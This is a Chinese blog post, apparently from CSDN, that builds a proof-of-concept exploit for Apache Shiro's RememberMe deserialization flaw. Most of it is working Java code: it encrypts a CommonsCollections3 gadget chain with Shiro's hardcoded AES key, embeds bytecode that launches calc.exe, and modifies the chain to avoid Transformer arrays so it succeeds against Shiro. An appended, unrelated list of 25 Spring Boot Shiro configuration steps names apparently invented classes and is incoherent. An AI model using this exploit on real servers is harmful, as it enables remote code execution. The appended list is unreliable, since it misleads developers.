构造shiro poc

攻击shiro思路

伪造加密过程

shiro在容器初始化的时候会实例化CookieRememberMeManager对象,并且设置加密解密方式

实例化时调用父类构造方法,设置加密方式为AES,并且设置key

看下调用栈

<init>:109, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:75, DefaultWebSecurityManager (org.apache.shiro.web.mgt)
createDefaultInstance:65, WebIniSecurityManagerFactory (org.apache.shiro.web.config)
……
run:748, Thread (java.lang)

然后在之前也说过,加密的时候先序列化再用encrypt()方法加密

所以我们构造poc伪造加密的时候,直接这样就行了:

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class poc {
    public static void main(String []args) throws Exception {
        byte[] payloads = <构造好的恶意序列化流>
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

使用CC链打shiro

直接拿cc3开梭:

poc.java:

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Base64;

public class poc {
    public static void main(String []args) throws Exception {
        byte[] payloads = cc3.getpayload();
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
        //String base64encodedString = Base64.getEncoder().encodeToString(payloads);
        //System.out.println(base64encodedString);
    }
}

cc3.java:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3 {

    public static void main(String[] args) throws Exception {
        System.out.println(getpayload());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getpayload() throws Exception {
        // source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};    //避免本地构造报错退出
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);            //避免本地构造报错退出

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");        //为了调用hashCode()

        outerMap.remove("keykey");        //因为LazyMap触发要求是获取不到这个value,所以要删除

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");       //替换真正的ChainedTransformer
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        byte[] bytes = barr.toByteArray();

//        //序列化流写入文件
//        try
//        {
//            FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
//            ObjectOutputStream out = new ObjectOutputStream(fileOut);
//            out.writeObject(expMap);
//            out.close();
//            fileOut.close();
//            System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
//        }catch(IOException i)
//        {
//            i.printStackTrace();
//        }
//
//        // 本地测试触发
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();
        return bytes;
    }
}

得到数据之后替换为rememberMe之后并没有执行命令,而是重定向到了首页,开启debug去看,得到一个报错

原因是org.apache.shiro.io.ClassResolvingObjectInputStream这个类,他是个ObjectInputStream的子类,并且重写了resolveClass方法,这个方法是用于反序列化中寻找Class对象的方法。

ObjectInputStream使用的是org.apache.shiro.util.ClassUtils#forName来加载,而shiro的ClassResolvingObjectInputStream使用的是Java原生Class.forName,后者会导致ClassNotFoundException

参考p神《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》一文:

> 这里仅给出最后的结论:如果反序列化流中包含非ava自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

那么如何避免使用Transformer数组呢?

修改CC3打shiro

先康康LazyMap的get方法:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

再康康ChainedTransformer的transform方法:

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
//……
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

再去康康ConstantTransformer的transform方法:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

本来的触发流程是:

LazyMap.get(key)->
ChainedTransformer.transform(constantTransformer)->
ConstantTransformer.transform(instantiateTransformer)->
InstantiateTransformer.transform(TrAXFilter.class)->
TrAXFilter#TrAXFilter()->
……
->RCE

但其实LazyMap.get()的时候

factory.transform(key)会把key当作transform的参数传入

反观我们cc3里面的transformers数组,其实他长度只有1

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] { Templates.class },new Object[] {obj})
    };

所以new ConstantTransformer(TrAXFilter.class)这一步完全就可以使用LazyMap.get(TrAXFilter.class)来替代。也就不需要transformer数组了

给个自己改的poc:

cc3.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3 {

    public static void main(String[] args) throws Exception {
        System.out.println(getpayload());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getpayload() throws Exception {
        // source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQANQoACwAaCQAbABwIAB0KAB4AHwoAIAAhCAAiCgAgACMHACQKAAgAJQcAJgcAJwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAoAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHACYHACQBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMABMAFAcAKQwAKgArAQATSGVsbG8gVGVtcGxhdGVzSW1wbAcALAwALQAuBwAvDAAwADEBAAhjYWxjLmV4ZQwAMgAzAQATamF2YS9pby9JT0V4Y2VwdGlvbgwANAAUAQASSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAKAAsAAAAAAAMAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYAAQAAAAsAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAAMABAAAAAEAAEAEQABABMAFAABAA4AAABsAAIAAgAAAB4qtwABsgACEgO2AAS4AAUSBrYAB1enAAhMK7YACbEAAQAMABUAGAAIAAIADwAAAB4ABwAAAA8ABAAQAAwAEgAVABUAGAATABkAFAAdABYAFQAAABAAAv8AGAABBwAWAAEHABcEAAEAGAAAAAIAGQ==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer fakeTransformers = new ConstantTransformer(1);
        Class trAXFilter = TrAXFilter.class;
        Transformer instantiateTransformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeTransformers);

        TiedMapEntry tme = new TiedMapEntry(outerMap, trAXFilter);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");                                      //为了调用hashCode()

        outerMap.clear();                                                  //因为LazyMap触发要求是获取不到这个value,所以要删除

        Field f = LazyMap.class.getDeclaredField("factory");       //替换真正的key
        f.setAccessible(true);
        f.set(outerMap, instantiateTransformer);

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        byte[] bytes = barr.toByteArray();

//        //序列化流写入文件
//        try
//        {
//            FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
//            ObjectOutputStream out = new ObjectOutputStream(fileOut);
//            out.writeObject(expMap);
//            out.close();
//            fileOut.close();
//            System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
//        }catch(IOException i)
//        {
//            i.printStackTrace();
//        }
//
//        // 本地测试触发
//        System.out.println(barr);
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        Object o = (Object)ois.readObject();
        return bytes;
    }
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要在Spring Boot中配置Shiro网关,可以使用Shiro的Filter来实现。具体步骤如下: 1. 在pom.xml文件中添加Shiro和Spring Boot Starter Web依赖。 2. 创建一个ShiroFilter类,继承自org.apache.shiro.web.servlet.AbstractShiroFilter,并实现其抽象方法。 3. 在Spring Boot的配置类中,创建一个ShiroFilterFactoryBean对象,并设置其属性。 4. 在配置类中,创建一个DelegatingFilterProxyRegistrationBean对象,并设置其属性。 5. 在配置类中,创建一个DefaultWebSecurityManager对象,并设置其Realm属性。 6. 在配置类中,创建一个ShiroRealm对象,并实现其认证和授权方法。 7. 在配置类中,创建一个ShiroDialect对象,并注册到Thymeleaf模板引擎中。 8. 在配置类中,创建一个ShiroAnnotationProcessor对象,并注册到Spring容器中。 9. 在配置类中,创建一个ShiroFilterChainDefinition对象,并实现其抽象方法。 10. 在配置类中,创建一个ShiroSessionManager对象,并设置其属性。 11. 在配置类中,创建一个ShiroSessionListener对象,并注册到ShiroSessionManager中。 12. 在配置类中,创建一个ShiroCacheManager对象,并设置其属性。 13. 在配置类中,创建一个ShiroCookie对象,并设置其属性。 14. 在配置类中,创建一个ShiroRememberMeManager对象,并设置其属性。 15. 在配置类中,创建一个ShiroSubjectFactory对象,并设置其属性。 16. 在配置类中,创建一个ShiroFilterFactoryBeanConfigurer对象,并注册到Spring容器中。 17. 在配置类中,创建一个ShiroFilterChainDefinitionConfigurer对象,并注册到Spring容器中。 18. 在配置类中,创建一个ShiroWebSecurityConfigurerAdapter对象,并设置其属性。 19. 在配置类中,创建一个ShiroWebMvcConfigurer对象,并注册到Spring容器中。 20. 在配置类中,创建一个ShiroWebMvcConfigurerAdapter对象,并设置其属性。 21. 在配置类中,创建一个ShiroWebMvcConfigurationSupport对象,并设置其属性。 22. 在配置类中,创建一个ShiroWebMvcConfigurationAdapter对象,并设置其属性。 23. 在配置类中,创建一个ShiroWebMvcAutoConfiguration对象,并设置其属性。 24. 在配置类中,创建一个ShiroWebMvcProperties对象,并设置其属性。 25. 在配置类中,创建一个ShiroWebMvcPropertiesCustomizer对象,并注册到Spring容器中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值